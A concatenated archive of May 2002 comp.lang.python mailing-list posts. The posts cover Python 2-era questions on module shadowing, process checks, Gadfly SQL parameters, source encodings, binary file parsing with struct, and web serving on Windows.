nmi-redhat72-dev ned]$ cat: write error: Broken pipe From peter at engcorp.com Mon May 27 19:23:56 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 May 2002 19:23:56 -0400 Subject: Getting XML module to work in windows. References: Message-ID: <3CF2C00C.AAF03BD6@engcorp.com> joel jensen wrote: > > C:\Documents and Settings\joel\Desktop\test>xml.py > Traceback (most recent call last): > File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in > ? > from xml.sax import saxutils > File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in ^^^^^^^^ > ? > from xml.sax import saxutils > ImportError: No module named sax Don't name your own module "xml.py". It is hiding the real xml package in the Python installation.... -Peter From shagshag13 at yahoo.fr Fri May 17 04:47:09 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 17 May 2002 01:47:09 -0700 Subject: How do you code in Python ??? Message-ID: <409a56e2.0205170047.429beb44@posting.google.com> Hello, Newbie to python, i was wondering how *skilled* guys code with it : By now to write a function i write it in a text editor (with coloured syntax), copy and paste it in idle try it, then go back to text editor to debug it and so on until i've tuned it like i want, then next function and so on until i complete module... And that's really boring theses permanent back and forth... So how do you do it ? Which tools do you use ? (i'm on window, freeware if possible or not to expensive...) Another one is which are "standard" coding in Python ? (thing like initCap, postfix private atribute with "_" and so on) Thanks in advance, S13. From noah at noah.org Fri May 10 19:11:56 2002 From: noah at noah.org (Noah) Date: Fri, 10 May 2002 16:11:56 -0700 Subject: How do I check if a pid is running? In-Reply-To: Message-ID: Thanks, this seems to work. In fact the man page for kill says that signal 0 can be used to check the valifity of a pid. Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Michael Hudson Sent: Friday, May 10, 2002 2:28 AM To: python-list at python.org Subject: Re: How do I check if a pid is running? "Noah" writes: > If I have the pid to a process under UNIX then how do I get the status of that pid? > Specifically, I would like to see if child is running or not. > If the pid cannot even be found then I will assume that > process is not running. > > Note, that I think waitpid() may do what I want, but I'm not > quite sure of the semantics. I do not want to wait for completion > of a child process, so I probably need WNOHANG option, but that > returns 0 if the status is not immediately available, so presumably > the process could still be running. Therefore a 0 value is ambiguous. > > What do I need to do just to check if the pid even exists or not? If you know that the process is yours (or you're running as root) you can send signal 0 to it, e.g. os.kill(the_pid, 0) You'll get an exception (an OSError, I guess... yep) if you can't signal the process. In fact you can use the .errno attribute of said OSError and the errno module to find out if it failed because the process doesn't exist or because you don't have permissions to signal it: >>> def pid_exists(pid): ... try: ... os.kill(pid, 0) ... return 1 ... except OSError, err: ... return err.errno == errno.EPERM ... >>> pid_exists(1) 1 >>> pid_exists(os.getpid()) 1 >>> pid_exists(777) 0 >>> There may be better ways than this... Cheers, M. -- > With Python you can start a thread, but you can't stop it. Sorry. > You'll have to wait until reaches the end of execution. So, just the same as c.l.py, then? -- Cliff Wells & Steve Holden, comp.lang.python From bokr at oz.net Wed May 29 15:54:05 2002 From: bokr at oz.net (Bengt Richter) Date: 29 May 2002 19:54:05 GMT Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: On Wed, 29 May 2002 15:34:57 +0100, Eric Texier wrote: >I have a py script executing a bunch of os.system in a loop. >It is not very fast and I was wondering if it will not be better >to recreate a execution file. > >My 2 questions: > >1) what is faster for a big number of call > >for i in range(1,2000): > os.system("ls F1.%d F2.%d" % ( i , i ) " ) > >OR > >fileOut = open("tmpFile",w) >for i in range(1,2000): > fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) > >fileOut.close() >os.system("csh -c 'source tmpFile' ") >os.system("rm -f tmpFile") > > >2) if the second one is better I would like to kwo if there is any thing > >in python for temporary file, the drag being to if you do not come for >a specific naming mechanism, you file can be change by and other >process before it execute > wouldn't it be faster to do a single ls F.* command piped to a grep for the decimal extensions, then to a python script for sorting and final formatting or whatever you want to do with the file names? Or am I missing something? Regards, Bengt Richter From dwelch91 at attbi.com Wed May 22 23:07:33 2002 From: dwelch91 at attbi.com (djw) Date: Thu, 23 May 2002 03:07:33 GMT Subject: "casting" Python objects References: Message-ID: > you're thinking in a strongly typed manner - but python is dynamicly typed. > the variable msg is not typed. it can hold any object, including subclasses > of your Message class - no cast needed. > thats why some people speak of 'bind an object to a name' rather than > 'assign a value to a variable'. Hmmmm... I don't think I understand when you say "variable 'msg' has no type"... Here is my simple analogous example: class a: def a(self): print "a" class b(a): def b(self): print "b" >>>x=a() # analogous to jabber.Message >>>x.b() # analogous to FooMsg Traceback (most recent call last): File "", line 1, in ? AttributeError: a instance has no attribute 'b' To me, this clearly shows that 'x' is of type 'a', not of type 'b'. I agree that I can then easily do this: >>> x=b() >>> x.b() b So, yes, x can dynamically change types to another type, but it can only be _one_type_at_a_time! Right??? In my original post, the Queue was put() with types of jabber.Message. When you get() them from the Queue, they come off as type jabber.Message. In order to call a FooMsg method on a message, their type must somehow be changed to type FooMsg (or something like that). So, to continue my above example: >>> import Queue >>> q = Queue:Queue() >>> x=a() >>> q.put(x) >>> y=q.get() >>> y.b() Traceback (most recent call last): File "", line 1, in ? AttributeError: a instance has no attribute 'b' Fails because 'y' is of type 'a' not of type 'b' Somebody please correct me if I'm wrong here! :-) D From gcordova at hebmex.com Thu May 30 09:27:25 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 30 May 2002 08:27:25 -0500 Subject: Crashing IDLE Message-ID: > > I would consider that a bug - "pass" should be checking for > ctrl-c and other > events imo. It sure strikes me as a point for relinquishing control. > > David LeBlanc > Seattle, WA USA > But "pass" is a NOP, which is exactly nothing, which means it must do nothing. If you give it the semantics of checking for KeyboardInterrupt, or SIGHUP, or yielding control to another thread, or ... etc, then it's no longer a NOP, so it shouldn't be "pass", but another keyword... "sleep" perhaps? or "yield" maybe? Naa, that's for generators. Something akin to "yield", but not "yield". -gustavo From test at biggulp.readfreenews.net Fri May 10 23:50:10 2002 From: test at biggulp.readfreenews.net (test) Date: Sat, 11 May 2002 13:50:10 +1000 Subject: Comment on draft PEP for deprecating six builtins References: Message-ID: <3cdc9593$0$4696$afc38c87@news.optusnet.com.au> I don't think it's such a great idea. These are bread and butter functions and adding a namespace in front of abs, pow, map to these convenience functions do not make the language clearer or disambiguate the functions. We'd all end up with a verbose language just for the sake of classifying functions by a taxonomy. Probability.definitely-makes-language.computer.python-quantity.alot-comparis on.less-pleasurability.fun-ly-yrs australia.queenland.brisbane.tey.chui From joel***nospam***list at litriusgroup.com Fri May 31 10:19:19 2002 From: joel***nospam***list at litriusgroup.com (destr0) Date: Fri, 31 May 2002 14:19:19 GMT Subject: Python IDE Message-ID: If I remember right didn't python.org have a page that listed python IDE's.... I can't find it now. I'm looking for a good IDE for linux. (idle is wonderful... I know..) preferable something with project management and maybe class auto-completion. From andy47 at halfcooked.com Wed May 22 18:07:41 2002 From: andy47 at halfcooked.com (Andy Todd) Date: Wed, 22 May 2002 22:07:41 +0000 (UTC) Subject: Gadfly: single-quote in varchar? References: Message-ID: Sam Penrose wrote in news:mailman.1022089949.8091.python-list at python.org: > I cannot get Gadfly to INSERT a string containing a single-quote (') > into a VARCHAR field. Gadfly appears to insist that strings passed to > its parsing framework be delimited with single quotes: > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha')") NOT > >>> cursor.execute('INSERT INTO t (Description) VALUES ("alpha")') > > which may or may not be connected, (and rules out the obvious 'INSERT > INTO t (Description) VALUES ("alpha's before beta")') but at any rate no > variation on > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\'s before > >>> beta')") cursor.execute("INSERT INTO t (Description) VALUES > >>> ('alpha\\'s before beta')") cursor.execute("INSERT INTO t > >>> (Description) VALUES ('alpha\\\'s before beta')") > > seems to work, although some fail silently, neither raising an error or > inserting the row. Description has been defined as a VARCHAR field and > happily accepts strings with other punctuation, including double-quotes. > Anyone know if this is a Gadfly constraint, or notice some dunderheaded > mistake I'm making? > > Gadfly 1.0.0rc1, Unix python 2.2 on Mac OS X. > > TIA, > Sam > > > Your problem is because you are not using parameters. These will make your life much easier when dealing with database modules. First, a little gentle RTFM; The DB-API 2.0 - http://www.python.org/topics/database/DatabaseAPI-2.0.html - see the section on 'paramstyle'. Although that is a little formal, have a look at a couple of sections of the Gadfly documentation - http://gadfly.sourceforge.net/gadfly.html#dynamic-values - Shows you how to use parameters in your SQL and why they are good thing (performance), and this section - http://gadfly.sourceforge.net/gadfly.html#table-creation- and-data-types - explains why data types are a bit of a moot point in Gadfly. So, if you re-write your statement as; >>> cursor.execute("INSERT INTO t (Description) VALUES (?)", ("alpha's", )) Everything should be sweet. Note that the argument after the comma should be a tuple, even if it is only one element. Also note that you can put *anything* in you tuple values, strings, numbers, in fact any kind of Python object and Gadfly will store it for you. HTH, Andy -- Contents free posts a speciality From phd at phd.pp.ru Tue May 14 05:20:03 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 13:20:03 +0400 Subject: 3rd party modules In-Reply-To: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net>; from gumuz@looze.net on Tue, May 14, 2002 at 10:38:05AM +0200 References: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> Message-ID: <20020514132003.G6254@phd.pp.ru> On Tue, May 14, 2002 at 10:38:05AM +0200, Guyon Moree wrote: > now i'm just wondering if i am doing this the right way and what am i > supposed to do with this setup.py? python setup.py install -O2 Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From weeks at vitus.scs.agilent.com Fri May 17 12:29:23 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Fri, 17 May 2002 16:29:23 +0000 (UTC) Subject: might compatibility become a *goal*? Message-ID: <1021652963.460304@cswreg.cos.agilent.com> Python is not backward compatible. New versions of python don't work with old code. (The redefinition of "/" is an example of this.) My hunch is that C, C++, and perhaps even Perl are considerably more backward compatible than Python. [I should perhaps note that *exact* backward compatibility isn't a reasonable goal for Python. For example, increasing the visibility of nested scopes breaks the following code: def f(a): def g(): print a g() try: f("hello") except: print "bye" In 1.5.2, "bye" is printed. In 2.1, "hello" is printed. But this is an absurd example, where the programmer achieves an effect with deliberate perversity. Putting such goofy code aside, I suspect that backward compatibility is a reasonable goal.] Backward compatibility does not seem to be a goal of the controllers of Python. (Is that just Guido?) Indeed, lack of backward compatibility seems to be an expected "feature" of Python, given the introduction of the __future__ module. On the other hand, if enough people wanted backward compatibility, it might be possible to make it a goal that, say, all Pythons after 3.0 will be backward compatible with (nongoofy) 3.0 code. I for one would feel happier if that was the case. Is that a feasible goal? Does anyone else think it might be worthwhile? no longer complaining about TIMTOWTDI, Greg From phr-n2002a at nightsong.com Sat May 18 11:17:54 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 18 May 2002 08:17:54 -0700 Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> <3CE5BD65.3000908@hotmail.com> <3CE5D606.5D539589@engcorp.com> <3CE65D81.30508@hotmail.com> Message-ID: <7xsn4plc2l.fsf@ruckus.brouhaha.com> Please look at the binascii module to see if it has a function that does what you want. It's a C extension so it will run much faster than writing your own function in Python. From jepler at unpythonic.net Thu May 9 15:22:43 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 9 May 2002 14:22:43 -0500 Subject: Comments on Version 2, Draft Pep for Deprecating Builtins In-Reply-To: References: Message-ID: <20020509142242.A21560@unpythonic.net> On Thu, May 09, 2002 at 06:30:36PM +0000, Huaiyu Zhu wrote: > I don't see the reason to prevent 2**2002. $ time python2.3 -c '2**2**20' 86.28user 0.40system 1:36.95elapsed 89%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (304major+300minor)pagefaults 0swaps ... and AFAIK that's with the GIL held, so it means anybody who can r_eval an arbitrary string blocks your entire application for an arbitrary amount of time (or until the intermediate result no longer fits in RAM) Or try $ time python2.3 -c '[[0] * 2**x for x in range(15, 31)]' Traceback (most recent call last): File "", line 1, in ? MemoryError Command exited with non-zero status 1 6.76user 2.69system 1:02.34elapsed 15%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (38459major+97990minor)pagefaults 32247swaps ... I thrashed the machine pretty good for a minute. I could have thrashed it for longer if I'd tried. > But if there is such a reason, > maybe one should tweak r_eval to handle it? r_eval doesn't perform this level of inspection of code. > > Huaiyu > -- > http://mail.python.org/mailman/listinfo/python-list From whisper at oz.net Sat May 11 04:13:36 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 01:13:36 -0700 Subject: Comment on PEP 263 - Defining Python Source Code Encodings In-Reply-To: Message-ID: Firstly it's NOT "invalid xml". It IS a well formed xml tag! It's not meant to be or suggest a doctype declaration or an -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Martin v. Lowis > Sent: Saturday, May 11, 2002 0:46 > To: David LeBlanc > Cc: Python-List at Python. Org; mal at lemburg.com > Subject: Re: Comment on PEP 263 - Defining Python Source Code Encodings > > > "David LeBlanc" writes: > > > To define a source code encoding, a magic comment must > > be placed into the source files either as first or second > > line in the file: > > > > #!/usr/bin/python > > # -*- coding: -*- > > > > > > why not use something like: > > > > #!/usr/bin/python > > # > > What is the advantage of this notation? The advantage of the above > notation is that existing editors already recognize it. Compared to > your proposal, it has also the advantage that it is easier to type. > > > More generally, "utf-8" would be replaced by one of a list of acceptable > > encoding names in the same way as currently envisioned by the > PEP authors > > (whatever that is - I didn't see it mentioned in the PEP). > > Any encoding is acceptable for which a codec is installed. For best > portability, you need to restrict yourself to the encodings supported > in your target Python release. > > > I think it has the very positive benefit of using what has rapidly > > become a very familiar idiom > > Can you cite other examples of using invalid XML in programming > language comments? > > > Do we really need yet _another_ notation? > > Precisely my question. > > Regards, > Martin > > > -- > http://mail.python.org/mailman/listinfo/python-list From andrewm at object-craft.com.au Wed May 8 02:44:59 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Wed, 08 May 2002 16:44:59 +1000 Subject: Has Red Hat helped or hurt? In-Reply-To: Your message of "Tue, 07 May 2002 21:56:58 MST." <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <20020508064459.CB57938F50@coffee.object-craft.com.au> >Red Hat 7.x uses Python 1.52 for many of its configuration and >administration activities. Ordinarily, I'd say this was a Good Thing for >the betterment and furtherance of Python. > >However, it makes it deucedly difficult to upgrade away from 1.52. If one >upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration >scripts are no longer found in site-packages. RedHat should have installed a private copy of 1.5.2 for their admin scripts and let the user choose which version they wanted as /usr/bin/python. RedHat, if you're listening, it's things like this that are going to make me dump RedHat off my systems before long. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From tim.golden at viacom-outdoor.co.uk Mon May 13 11:06:37 2002 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Mon, 13 May 2002 16:06:37 +0100 Subject: High performance Python web-app Message-ID: <5F5E25C9F098D3119F140008C784457304DFD10F@tdi_nt9.tdi.co.uk> fwiw, I've had no problems serving binary results from Xitami / LRWP on Win32. Any symptoms in particular? TJG -----Original Message----- From: Fran?ois Lepoutrre [mailto:francois.lepoutre at seriatim.com] Sent: 13 May 2002 14:38 To: python-list at python.org Subject: Re: High performance Python web-app Hi, We have the same problem here (: Running a "persistent-python" http application on a win32 platform, fast.... Python is a brilliant tool when it comes to build http production routines. On linux! There are clearly working and speedy platforms to run heavy-duty python-based http: *nix. It looks like mod_python is the current "lean thing" to accelerate http here. Our customers are win32 shops. And so far the situation on Windows is far from brilliant: 1) it looks like fastcgi is not workable there. 2) mod_python/apache 1.3 on win32 looks like the best solution but it is comparably much slower to its linux counterpart and a bit leaky. possibly win32 is the issue not mod_python. In the end, on win32 you have: - apache 1.3/mod_python (a bit leaky but workable), - apache 1.3/webware (great but not as fast and a distinct sophisticated programming style with no direct translation for mod_python-based stuff) - xitami 2.5/lrwp (very fast but unable to output binary stuff as far as we could test and possibly less secure - not apache by the way). Hope to find a solution as well. I may be wrong but i have the feeling that the python/win32 community is in need of a fast and supported solution in this area. Francis iwk wrote in message <3CDE9D7B.7050408 at xs4all_removethisalso.nl>... >Hi there, > >We've been using a custom developed html/python templating system which >runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that >was never taken into production. Now however, a customer wants to deploy >the system on Apache 2 running on Win32 and the site is expected to >attract a rather large number of visistors on occasion. Considering the >abysmal performance of CGI apps on Windows, this poses a considerable >problem. > >My question is: are there any *stable* solutions available to enable >fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on >Apache 1.3 as far as I know and Mod_snake seems to have been taken off >line....) > >Regards, > >Iwan > ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From alex at securepipe.com Sat May 25 16:29:12 2002 From: alex at securepipe.com (Alex Russell) Date: Sat, 25 May 2002 15:29:12 -0500 Subject: email module in 2.2 Message-ID: Hey everyone, I'm re-writing an email script using the new email module introduced in 2.2, and I'm having some issues with multipart MIME messages. Straight off, I'm unsure about how I'm getting the text-only part of the message. The function I'm using is as follows: def get_message_body(self, msg_number): msg = self.get_message(msg_number) # gets full message text if not msg.is_multipart(): return msg.get_payload() else: bndry = msg.get_boundary() payld = str(msg.get_payload(0)) return string.split(string.split(payld, bndry)[0],'quoted-printable')[1] what bugs me most is that I can't seem to use get_payload to return JUST the text/plain sections of the message. Any pointers? Thanks in advance. -- Alex Russell alex at securepipe.com alex at netWindows.org From rdsteph at earthlink.net Tue May 14 07:03:28 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Tue, 14 May 2002 11:03:28 GMT Subject: Zarsus References: <4a7fde99.0205132325.c92ba80@posting.google.com> Message-ID: <3CE0EEFB.6070501@earthlink.net> I dowloaed it from a different site, it wroks fine on my Zaurus. Thre is also a PyQt port as someone pointed out to me on thsi list yesterday, all available at Riverbank Computing, http://www.riverbankcomputing.co.uk/zaurus/ enjoy!! ;-)))) From thomas at gatsoft.no Mon May 6 07:23:15 2002 From: thomas at gatsoft.no (Thomas Weholt) Date: Mon, 06 May 2002 11:23:15 GMT Subject: reading binary data fast / help with optimizing ( again ) Message-ID: Below is a very simple example of my approach to storing "records" in a binary fashion. It uses the struct-module and I've tried to optimize it as much as I can, but it still seems slow when the amount of data is getting big ( we're talking about 1M+ records, several million records in "production" state. ). How can I optimize this further? Are there any other approach to this ? Using a traditional database is not an option. It got to be pure python. I'll be very gratefull for any hint or piece of code the group might provide. Best regards, Thomas Weholt ## CODE BEGINS ## import struct, time, profile, sys unpack = struct.unpack calcsize = struct.calcsize fmt = '4Iff3I' record_size = calcsize(fmt) desired_buffer_size = 512*1024 # want to read approx. 512k chunks pr. IO-call # calculate a buffer-size based on record-size and desired buffer-size i = 0 while 1: buffer_size = int((desired_buffer_size + i)/ struct.calcsize(fmt)) if buffer_size % struct.calcsize(fmt) == 0: break i = i + 1 f = open('data.dat', 'wb') # write 1M records to disk, approx 35+ MB for i in range(0, 1000000): # write a generated dummy-set of data to disk f.write(struct.pack(fmt, i, i+2, i+3, i+i, time.time(), time.time(), i+5, i+6, i+7)) f.close() def slicer(_data, _fmt, filter = None): # Splits a piece of binary-data into record-sized chunks and decodes them using unpack # adds the result to a list and returns the list result = [] start_pos = 0 # simple check to see if data is valid, any more efficient and more accurate way ?? #assert len(_data) % record_size == 0, 'slicer() : _data % record_size ( struct.format ) must be 0' for stop_pos in range(record_size, len(_data) + record_size, record_size): result.append(unpack(fmt, _data[start_pos:stop_pos])) start_pos = stop_pos return result def ioreader(): f = open('data.dat','rb') while 1: d = f.read(buffer_size) if not d: break n = slicer(d, fmt) f.close() return profile.run('ioreader()') From deckerben at freenet.de Sun May 5 07:28:17 2002 From: deckerben at freenet.de (deckerben) Date: Sun, 5 May 2002 13:28:17 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> Message-ID: <3cd51348$0$151$9b622d9e@news.freenet.de> > Dude! Hey, that's no small feat. Pass it back. > > That is, it impresses me considerably that your > first encounter with Python was a backport to DJGPP- > ed DOS. I conclude you're plenty comfortable with > C, and you must be picking up Python ideas quite > quickly. It was just a couple quick hacks, took me about an hour. The DJGPP and GNU people, for that matter, are impressive ... not me :-) Natuarally, I had to leave out Socketmodule (not even Richard Dawe's Libsocket port could save it). Mapmodule also was left out ( Tell me what it is and maybe I see what I can do in the future :-). I also had to mangle Posixmodule a little, but it's in. Still want it? > Are you willing to share your work? Many others of > us would like handy access to a Py2.5-for-DOS. Gladly... after all, I think that I will be back here for help again :-) My Py2.0.1 port has a lot more of the modules built in than the 2.5 does. Does it matter? Want both? Niether :-) BTW: I don't have my website up right now. I'm on the move. Could someone host it? Peter Hansen" wrote: > Try this: > > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 > >>> import os > >>> os.system('dir *.bat') I'm in love. Yes, you read my mind.. this is just what I wanted. And it works (even using my DOS hack). > Stop considering Javascript immediately. It is a dog's breakfast > and not really intended for the sort of thing you need. OK. Anyone need a DJGPP-DOS port of the NGS Javascript interpreter :-) > I thought you wanted to rewrite some batch files, but now you are > more concerned about future employment potential? Just trying to think on practical terms :-) Thanks Guys. It really made a difference. Ben From python at rcn.com Tue May 7 16:44:30 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 7 May 2002 16:44:30 -0400 Subject: "Inserting" a line in a text file? References: Message-ID: "Duncan Smith" wrote in message news:ab9duj$dre$1 at newsg4.svr.pol.co.uk... > I need to (in effect) insert a single line at the beginning of an existing > text file (a dumped MySQL database, so potentially large). Is there > anything cuter than eg. creating a temporary file containing the single > line, reading the lines from the data file, appending them to the temporary > file, deleting the data file, renaming the temporary file? Something akin to this HAS to be done, because all of the subsequent lines need to be moved down in file position. A fast way is to let the operating system do the work (use the os module): rename tgtfile tempfile # very fast cat 'new single line' > tgtfile # very fast cat tempfile >> tgtfile # the slow step del tempfile # very fast Raymond Hettinger From quitelikely at yahoo.com.au Mon May 6 04:04:15 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 06 May 2002 18:04:15 +1000 Subject: Need help... References: <409a56e2.0205052334.77d409f2@posting.google.com> Message-ID: <82k7qhitxc.fsf@acropolis.localdomain> shagshag13 at yahoo.fr (Shagshag) writes: > Hello > > (sorry for my poor english) > > I need to build some kind of python object(s) which could handle these > : > > having three keys a, b, c i have to define all possible "couples keys" > > (a, b) -> v1 -> v2 > (a, c) -> v3 -> v5 -> v8 > (b, c) -> v1 -> v4 > (a, b, c) -> v2 -> v4 -> v7 > > where -> stand for something like a linked list. > and i must be able to retrieve (a, b) with (b, a), (a, c) with (c, a) > and (a, b, c) with (a, c, b), (c, a, b), (b, a, c) or any combination > of the three... > i can have couples of 2, 3, 4, or more keys... Hmmm. Not quite sure what you're looking for, but it seems that at least *part* of the solution requires a 'permutations' function, which might look something like: def permutations(ls): def remove_one(alist, item): result = alist[:] result.remove(item) return result if ls == []: return [[]] return [[x] + y \ for x in ls \ for y in permutations(remove_one(ls, x))] Does that help? From nospam at nospam.nospam Wed May 22 09:28:32 2002 From: nospam at nospam.nospam (Max) Date: Wed, 22 May 2002 13:28:32 GMT Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> Message-ID: <42NG8.72050$CN3.2218619@news2.tin.it> "Max" ha scritto nel messaggio news:9eJF8.69521$zW3.1064537 at news1.tin.it... [...] Is that approach correct? After reading some answers i wrote this simple script to know what (new) modules gadfly loads. import sys prima = sys.modules.keys() import gadfly dopo = sys.modules.keys() print "gadfly imported modules:" for x in dopo: if prima.count(x) == 0: print x where prima and dopo are lists, that can be translated with before and after... I forced (in py2exe) the import of all the modules i found after importing gadfly, but the result was still negative, since the exe application still doesn't runs, and stops just where i try to initialize gadfly (i know that because i disseminated the source of msg boxes... and i read the last one that appears... :) ) Honestly, i don't know how to go on for building that exe... :( Tia, Massimo From fredrik at pythonware.com Sun May 12 16:11:28 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 May 2002 20:11:28 GMT Subject: small string split prob References: Message-ID: "ian" wrote: > The RCPTTO contains a line read from a socket. > when i try to split an e-mail address into the box and domain sub parts i > get a type error on index!? > > #split e-mail address > index = RCPTTO.find("@") > box = RCPTTO[0,index] > domain = RCPTTO[index + 1,RCPTTO.len()] there seems to be quite a few typos in your python book. try this instead: index = RCPTTO.find("@") box = RCPTTO[:index] domain = RCPTTO[index+1:] From angles at aminvestments.com Sun May 26 03:49:34 2002 From: angles at aminvestments.com ( Angles Puglisi) Date: Sun, 26 May 2002 07:49:34 +0000 Subject: email module in 2.2 Message-ID: <20020526.v5c.21134600@www.dudex.net> Matthew Dixon Cowles (matt at mondoinfo.com) wrote*: > >>I've encountered messages where there's a multi-part alternative >>message that's wrapping both text/plain and text/html versions of a >>message. I really don't want the HTML part (security problems >>galore), so I just want to kick back the text/plain sub-sections in >>this case. > >That's not uncommon in my experience. And I agree with you about the >security problems. A more difficult question is what to do with mail >that has only an HTML part. This is not a plug, but for the past year+ I've been writting an email app for a web based groupware product. The email code is available at: www.anglemail.com/files Why bother mentioning this? 1. I've been through many of these same (email) issues before, and I put extensive documentation in the (php) code that is available, including references to chapters in RFC's. Email code is not "rocket science" and I was sick of the learning curve, so part of my goal was to have the code be almost like a quick study tutorial for any other developer ever burdened with email development. 2. When I contributed some patches to the author of Getmail (a python project) last year, I also noticed the lacking capability in the python email classes, ON A VERY BASIC LEVEL. In my experience, the python library responsible for grabbing all "Received" headers stopped after the first one, as an example. 3. I finally tried mod_python and though how cool it would if all that php email code was really python. Perhaps some one may be inspired to port :) SPECIFICS: html only email is a blatant violation of RFC standards. Any part of a message that is not text is supposed to have a less complicated MIME part in the mail, before the more complicated part. That said, you can regex scan html only mail for some typical "bad stuff" such as the "IFRAME" trick, MIME parts that indicate normal filenames like "image.gif" but when base64 decoded, actually have file names ending in bat, exe, inf, and such. MULTIPART/RELATED More clients use this now, Evolution does quite a bit, whereas before mostly MS email clients sent out this kind of mail. Quite simply, it's "RELATED" because there is an HTML part of the message that has, for example, IMG html tags that refer not to an external URL but to another "RELATED" MIME part of the message. One way to handle this is to swap the image ID tag in the html part with a URL to the specific image MIME part it is referring to, which I can do because my request goes thru a web server which grabs the image part from the email server. Hope some of that helps. -- That's "angle" as in geometry. From BPettersen at NAREX.com Sat May 18 05:09:58 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Sat, 18 May 2002 03:09:58 -0600 Subject: shutil rant Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192B98AD5@admin56.narex.com> > From: Aahz [mailto:aahz at pythoncraft.com] > > In article <3ce4eebb.26302437 at News.CIS.DFN.DE>, > Gerson Kurz wrote: > > > >Now I know about general unix superiority and all that, but ... do I > >really have to resort to "import win32api" in order to make an exact > >file copy on windows? > > Well, yes. The problem is that win32all is not part of the > core Python distribution, so none of the core library > features can rely on it. :-( The Macintosh port seem to have full support for the Mac interfaces, so isn't it about time the windows port got up to par? Seriously though, you can't do "any serious" work on windows without the win32 extensions. Since the ActiveState distribution comes bundled with these, we've standardized on it here. (there are of course other advantages to the ActiveState distribution also ) -- bjorn From gashton at cmedltd.com Fri May 31 07:08:13 2002 From: gashton at cmedltd.com (Graham Ashton) Date: 31 May 2002 12:08:13 +0100 Subject: Python equivalent of shell's '$?' In-Reply-To: <20020531100700.GN14959@software.plasmon> References: <20020531100700.GN14959@software.plasmon> Message-ID: <1022843294.642.8.camel@walter> On Fri, 2002-05-31 at 11:07, Dave Swegen wrote: > If I call an external program from a python script, how do I check that > programs exit status? It's the return value of os.system. Unless you're on win9x. You're not, are you? > Or does python suffer from > the same unreliabilty as perl in this regard I never had any problem with this in five years of Perl, almost exclusively on Linux. What platform are you running on? > (I've learnt that catching > errors from sub shells is highly unreliable, and ended up having not > checking for errors, as I would sometimes get spurious results back). This suggests you're on windows, which is crap at launching other processes in a simple manner. To get round many of the problems you have to use stuff from the windows API, as the command interpreter is utter fudge. Your reference to sh makes me hopeful that you're on a more sensible system than that though... -- Graham Ashton From andreas at zope.com Thu May 16 15:23:17 2002 From: andreas at zope.com (Andreas Jung) Date: Thu, 16 May 2002 15:23:17 -0400 Subject: Unicode File I/O Grief References: Message-ID: <035e01c1fd0f$220da1a0$1717a8c0@suxlap> Python will try to convert the unicode string to a byte stream using the default encoding. This might fail when the default encoding is not set properly. Instead it is better to convert the unicode string using a valid unicode encoding like UTF-8. -aj ----- Original Message ----- From: "Terry Reedy" Newsgroups: comp.lang.python To: Sent: Thursday, May 16, 2002 15:10 Subject: Re: Unicode File I/O Grief > > "Dale Strickland-Clark" wrote in > message news:a1u7eu0l24gbvutju856kgcj688avdcphm at 4ax.com... > > I simply want to do the following: > > > > file('C:\\odd.txt', 'wb').write(ucString) > > > > ...so that I can examine the contents of this (rather long) Unicode > > string in an editor. > > > > Can I write it to a file? > > Try it and see. The interactive interpreter makes it trivial to > investigate such questions oneself. > > Terry J. Reedy > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From sholden at holdenweb.com Wed May 15 12:02:42 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 15 May 2002 12:02:42 -0400 Subject: Newbie - does Python have DB Independent interface? References: Message-ID: "Hardy Merrill" wrote in message news:mailman.1021470025.15487.python-list at python.org... > I come from the Perl world, and am starting to learn Python. > Perl has the DBI module which is a Database Independent interface - > you write programs to the DBI api, and then if you choose to > change your database, your code needs to change very little, or > maybe not at all. > > Does Python have anything similar, or must you choose your database > right up 